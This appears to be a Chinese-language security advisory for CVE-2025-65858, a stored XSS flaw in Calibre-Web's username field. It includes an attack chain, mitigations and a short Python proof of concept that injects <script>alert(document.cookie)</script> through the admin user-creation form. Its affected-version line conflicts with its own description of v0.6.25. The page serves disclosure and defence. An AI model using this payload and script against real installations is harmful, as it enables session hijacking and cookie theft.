IPBUF安全漏洞报告
English
CVE-2025-65858 CVSS 3.5 低危

CVE-2025-65858 Calibre-Web v0.6.25 存储型XSS漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-65858
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Calibre-Web

相关标签

存储型XSSCalibre-WebCVE-2025-65858跨站脚本Web安全权限提升

漏洞概述

CVE-2025-65858是Calibre-Web v0.6.25版本中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞允许具有高权限的攻击者在创建用户时,通过'username'字段注入恶意JavaScript代码。由于系统未对用户输入进行充分的过滤和转义,恶意载荷会被永久存储在数据库中。当其他管理员或用户访问/ajax/listusers端点时,存储的恶意脚本会在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或进一步的攻击。Calibre-Web是一个基于Web的电子书管理应用程序,广泛用于个人和组织的数字图书馆管理。该漏洞的CVSS评分为3.5,属于低危级别,但仍建议及时修复以防止潜在的安全风险。

技术细节

该漏洞根源在于Calibre-Web应用程序在处理用户输入时缺乏适当的输入验证和输出编码。具体来说:1) 在用户创建功能中,系统直接接受username参数而未进行严格的输入过滤;2) 存储层未对特殊字符进行转义处理,导致恶意HTML/JavaScript代码被直接存入数据库;3) 在/ajax/listusers端点响应时,系统直接将存储的用户名数据返回给客户端而未进行HTML编码。攻击者可以利用此漏洞注入<script>标签或事件处理器属性(如onerror、onload等)来执行任意JavaScript代码。由于是存储型XSS,恶意代码会在所有访问该端点的用户浏览器中执行,影响范围较广。

攻击链分析

STEP 1
步骤1
攻击者以管理员身份登录Calibre-Web管理面板
STEP 2
步骤2
攻击者导航到用户创建页面,在username字段中注入恶意XSS载荷,如<script>alert(document.cookie)</script>
STEP 3
步骤3
系统将恶意载荷未经过滤直接存储到数据库中
STEP 4
步骤4
当其他管理员或用户访问/ajax/listusers端点时,服务器从数据库读取用户名并直接返回给客户端
STEP 5
步骤5
受害者的浏览器执行注入的恶意JavaScript代码,导致Cookie窃取、会话劫持或其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Calibre-Web Stored XSS PoC - CVE-2025-65858 # Target: Calibre-Web v0.6.25 base_url = "http://target:8083" # XSS Payload for username field xss_payload = "<script>alert(document.cookie)</script>" # Step 1: Login as admin login_url = f"{base_url}/login" login_data = { "username": "admin", "password": "admin123" } session = requests.Session() response = session.post(login_url, data=login_data) # Step 2: Create user with XSS payload in username create_user_url = f"{base_url}/admin/user/new" user_data = { "name": xss_payload, "email": "[email protected]", "password": "Password123!", "role": "user" } response = session.post(create_user_url, data=user_data) # Step 3: Trigger XSS by accessing /ajax/listusers trigger_url = f"{base_url}/ajax/listusers" response = session.get(trigger_url) print(f"XSS payload injected: {xss_payload}") print(f"Response status: {response.status_code}") print(f"XSS will execute when admin visits /ajax/listusers")

影响范围

Calibre-Web < 0.6.25修复版本

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时措施:1) 限制管理功能访问权限,仅允许受信任的管理员操作;2) 在Web应用前部署WAF进行XSS攻击检测和拦截;3) 定期审查用户列表功能的使用日志;4) 考虑禁用或限制/ajax/listusers端点的访问频率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表